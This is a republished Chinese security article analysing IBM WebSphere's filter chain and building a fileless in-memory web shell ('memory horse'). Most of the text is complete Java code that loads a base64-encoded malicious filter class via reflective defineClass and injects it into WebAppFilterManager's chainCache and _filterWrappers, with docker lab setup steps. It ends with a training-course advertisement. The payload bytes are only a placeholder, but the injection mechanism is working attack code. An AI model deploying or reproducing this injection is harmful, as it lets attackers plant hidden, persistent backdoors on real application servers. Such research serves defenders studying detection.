网安教育
培养网络安全人才
技术交流、学习咨询
环境部署
分析Filter
编写内存马
1、获取到WebAppFilterManager对象
2、实例化恶意Filter相关的FilterChainContents......
3、实例化恶意Filter相关的FilterInstanceWrapper......
4、完整代码
后话
docker部署环境
1docker pull ibmcom/websphere-traditional
2
3docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043 -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional
4
5docker exec -it websphere cat /tmp/PASSWORD
6
79043端口
8
99443端口
10
117777端口
12
13/tmp/PASSWORD:控制台登录密码,账号:wsadmin
14
15登录后台: https://ip:9043/ibm/console
进入后台
设置websphere为Debug模式
绑定端口
编写DemoFilter和DemoServlet,配置项目的web.xml
1<?xml version="1.0" encoding="UTF-8"?>
2<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
3 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
5 version="4.0">
6 <filter>
7 <filter-name>TestFilter</filter-name>
8 <filter-class>TestFilter</filter-class>
9 </filter>
10 <filter-mapping>
11 <filter-name>TestFilter</filter-name>
12 <url-pattern>/test</url-pattern>
13 </filter-mapping>
14
15 <servlet>
16 <servlet-name>TestServlet</servlet-name>
17 <servlet-class>TestServlet</servlet-class>
18 </servlet>
19 <servlet-mapping>
20 <servlet-name>TestServlet</servlet-name>
21 <url-pattern>/test</url-pattern>
22 </servlet-mapping>
23</web-app>
生成war包
将war包导入服务器中
在Servlet 中打下断点,观察调用栈,通过调用栈观察是哪里调用了TestFilter.
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper中调用了TestFilter
而this._filterInstance是构造方法FilterInstanceWrapper传入的参数获取的。那么观察哪里实例化了一个FilterInstanceWrapper对象。
继续观察调用栈,可以看到在com.ibm.ws.webcontainer.filter.WebAppFilterChain中通过(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)实例化FilterInstanceWrapper,那么继续观察this._filters是如何生成的。
在com.ibm.ws.webcontainer.filter.WebAppFilterChain中看到_filters为new ArrayList()。
并且在com.ibm.ws.webcontainer.filter.WebAppFilterChain中看到addFilter方法,该方法中调用了this._filters.add(fiw),其中fiw为FilterInstanceWrapper类型在这个地方打下断点,重新调试,观察哪里调用了该方法,了解是怎么生成WebAppFilterChain._filters。
在com.ibm.ws.webcontainer.filter.WebAppFilterManager中的getFilterChain()方法,调用了WebAppFilterChain的addFilter。
关注该方法中的以下代码。
1newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i)));
其中this.getFilterInstanceWrapper((String)filterNames.get(i))。
这里有两个需要关注的地方,this.getFilterInstanceWrapper()和(String)filterNames.get(i)。
首先是(String)filterNames.get(i)。可以看到其实filternames实际上来自于this.getFilterChainContents
跟进getFilterChainContents观察,可以看到fcc来自于com.ibm.ws.webcontainer.filter.WebAppFilterManager对象中的chainCache变量
接着是this.getFilterInstanceWrapper(),这里就是com.ibm.ws.webcontainer.filter.WebAppFilterManager::getFilterInstanceWrapper()
通过filtername来获取当前WebAppFilterManager对象中的FilterInstanceWrapper对象。
构造内存马的思路:
1、获取到WebAppFilterManager对象
2、实例化恶意Filter相关的FilterChainContents,添加到WebAppFilterManager.chainCache
3、实例化恶意Filter相关的FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers
1、获取到WebAppFilterManager对象
在当前线程中寻找上下文。
从当前线程中获取currentThreadsIExtendedRequest,通过调用getServletContext(),获取上下文。在上下文中可以获取到当前线程的WebAppFilterManager对象filterManager。
1private static WebAppImpl context;
2
3private static synchronized void GetWebContent() throws Exception{
4 try {
5 Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
6 for (int i = 0; i < wsThreadLocals.length; i++) {
7 if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
8 currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
9 }
10 }
11 ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
12 System.out.println("Step 1");
13
14 context = (WebAppImpl)GetField(servletContext,"context");
15 }catch (Exception e){
16 e.printStackTrace();
17 }
18}
19
20private static synchronized Object GetField(Object o, String k) throws Exception{
21 Field f;
22 try {
23 f = o.getClass().getDeclaredField(k);
24 } catch (NoSuchFieldException e) {
25 try{
26 f = o.getClass().getSuperclass().getDeclaredField(k);
27 }catch (Exception e1){
28 f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
29 }
30 }
31 f.setAccessible(true);
32 return f.get(o);
33}
接着从web上下文中获取到filterManager。
1private static synchronized void InjectFilter() throws Exception {
2 try {
3 if(context!=null){
4 filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
5 ....
2、实例化恶意Filter相关的FilterChainContents......
从filterManager中获取到当前线程的chainCache,通过反射实例化一个FilterChainContents,对照TestFilter的FilterChainContents,去构造恶意Filter相关的FilterChainContents。
1private static synchronized void InjectFilter() throws Exception {
2 try {
3 if(context!=null){
4 filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
5
6 chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
7 Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
8 constructor.setAccessible(true);
9 Object filterChainContents = constructor.newInstance();
10
11 //Step1
12 ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
13 _filterNames.add(filterName);
14 SetField(filterChainContents,"_hasFilters",true);
15 chainCache.put(url,filterChainContents);
3、实例化恶意Filter相关的FilterInstanceWrapper......
对照TestFilter的FilterInstanceWrapper,构造恶意Filter相关的FilterInstanceWrapper。
从当前filterManager对象中获取到_filterWrappers,直接通过New FilterInstanceWrapper()实例化一个新的FilterInstanceWrapper。
这里有几个我认为需要注意的地方。
1、实例化FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型
而在早版本的websphere中是filter类型的参数
所以这里需要进行一个类型转换。
2、_filtersDefined设置为true的原因是因为这里对_filtersDefined进行判断。
3、_filterState 设置为 2 的原因是因为这里对_filterState==2进行校验了
4、完整代码
为了方便调试,直接在Sevlet的Get请求中编写内存马加载过程。
1import com.ibm.ws.managedobject.ManagedObject;
2import com.ibm.ws.managedobject.ManagedObjectContext;
3import com.ibm.ws.webcontainer.cdi.WCManagedObject;
4import com.ibm.ws.webcontainer.filter.FilterConfig;
5import com.ibm.ws.webcontainer.filter.FilterInstanceWrapper;
6import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
7import com.ibm.ws.webcontainer.srt.SRTServletRequest;
8import com.ibm.ws.webcontainer.webapp.WebAppEventSource;
9import com.ibm.ws.webcontainer.webapp.WebAppImpl;
10import com.ibm.wsspi.webcontainer.webapp.WebAppConfig;
11
12import sun.misc.BASE64Decoder;
13
14import javax.servlet.*;
15import javax.servlet.http.HttpServlet;
16import javax.servlet.http.HttpServletRequest;
17import javax.servlet.http.HttpServletResponse;
18
19import java.io.IOException;
20import java.lang.reflect.Constructor;
21import java.lang.reflect.Field;
22import java.lang.reflect.Method;
23import java.util.*;
24
25public class TestServlet extends HttpServlet {
26 @Override
27 public void init(ServletConfig servletConfig) throws ServletException {
28
29 }
30
31 private static String filterName = "HFilter";
32 private static String filterClassName = "com.sso.HFilter";
33 private static String url = "/ccc";
34 private static SRTServletRequest currentThreadsIExtendedRequest = null;
35 private static WebAppImpl context;
36 private static WebAppFilterManagerImpl filterManager= null;
37 private static Map<String, Object> chainCache = null;
38 private static Hashtable<String, FilterInstanceWrapper> _filterWrappers;
39
40
41
42 @Override
43 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
44 resp.getWriter().println("This is Http");
45 try {
46 LoadFilter();
47 GetWebContent();
48 InjectFilter();
49 } catch (Exception e) {
50 e.printStackTrace();
51 }
52
53 }
54
55 private static synchronized void LoadFilter() throws Exception {
56 try{
57 Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
58 }catch (Exception e){
59 Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
60 a.setAccessible(true);
61 byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
62 a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
63 }
64 }
65
66 private static synchronized void GetWebContent() throws Exception{
67 try {
68 Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
69 for (int i = 0; i < wsThreadLocals.length; i++) {
70 if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
71 currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
72 }
73 }
74 ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
75 System.out.println("Step 1");
76
77 context = (WebAppImpl)GetField(servletContext,"context");
78 }catch (Exception e){
79 e.printStackTrace();
80 }
81 }
82
83 private static synchronized Object GetField(Object o, String k) throws Exception{
84 Field f;
85 try {
86 f = o.getClass().getDeclaredField(k);
87 } catch (NoSuchFieldException e) {
88 try{
89 f = o.getClass().getSuperclass().getDeclaredField(k);
90 }catch (Exception e1){
91 f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
92 }
93 }
94 f.setAccessible(true);
95 return f.get(o);
96 }
97
98
99 public TestServlet() {
100 }
101
102 private static synchronized void InjectFilter() throws Exception {
103 try {
104 if(context!=null){
105 filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
106
107 chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
108 Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
109 constructor.setAccessible(true);
110 Object filterChainContents = constructor.newInstance();
111
112 //Step1
113 ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
114 _filterNames.add(filterName);
115 SetField(filterChainContents,"_hasFilters",true);
116 chainCache.put(url,filterChainContents);
117
118 //Step2
119 _filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager,"_filterWrappers");
120 javax.servlet.Filter filter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
121 WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager,"_evtSource");
122
123 ManagedObject filterMo = context.createManagedObject(filter);
124 FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName,filterMo,_evtSource);
125
126 SetField(filterInstanceWrapper,"_filterState",2);
127
128 Object webAppConfig = GetField(filterManager,"webAppConfig");
129 FilterConfig filterConfig = new FilterConfig(filterName,(WebAppConfig) webAppConfig);
130
131 HashSet<DispatcherType> set = new HashSet();
132 set.add(DispatcherType.REQUEST);
133 filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),true,url);
134
135 SetField(filterInstanceWrapper,"_filterConfig",filterConfig);
136
137 _filterWrappers.put(filterName,filterInstanceWrapper);
138
139 SetField(filterManager,"_filtersDefined",true);
140 System.out.println("123");
141
142 }
143 }catch (Exception e){
144 e.printStackTrace();
145 }
146 }
147
148 private static synchronized void SetField(Object o, String k,Object v) throws Exception{
149 Field f;
150 try{
151 f = o.getClass().getDeclaredField(k);
152 }catch (NoSuchFieldException e){
153 f = o.getClass().getSuperclass().getDeclaredField(k);
154 }catch (Exception e1){
155 f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
156 }
157 f.setAccessible(true);
158 f.set(o,v);
159 }
160
161
162
163 @Override
164 public void destroy() {
165
166 }
167
168
169}
后话
如分析有不对之处,望斧正~~
文:饼干屑小鬼
原文链接:https://xz.aliyun.com/t/12278#toc-0
版权声明:著作权归作者所有。如有侵权请联系删除
网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
原文始发于微信公众号(开源聚合网络空间安全研究院):【干货分享】WebSphere内存马分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论